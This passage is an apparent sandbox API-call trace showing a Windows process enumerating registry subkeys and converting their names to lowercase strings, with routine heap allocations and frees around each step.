cchWideChar=22, lpMultiByteStr=0xdcc160, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.856] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xdcc1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.856] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xdcc160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.856] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Fax") returned 0x0 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xdcc1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.857] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xdcc160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.857] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0xdcb9b8, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xdcc1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.857] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0xdcb9b8, cchName=0x104 | out: lpName="FTH") returned 0x0 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xdcc160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.857] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.857] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0254.857] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xdcc1a8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.858] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xdcc160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.858] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0xdcb9b8, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xdcc1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.858] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0xdcb9b8, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xdcc160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0254.858] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.858] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.858] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xdcc1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.859] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xdcc160, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.859] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xdcc1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.859] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xdcc160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0254.859] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.859] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xdcc1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.860] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xdcc160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.860] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xdcc1a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.860] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xdcc160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0254.860] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.860] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0254.861] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.861] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xdcc1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0254.861] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.861] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.861] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.861] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.861] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0254.861] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.861] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xdcc160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0254.861] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.861] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.861] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.861] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.861] RegEnumKeyW (in: hKey=0x38, 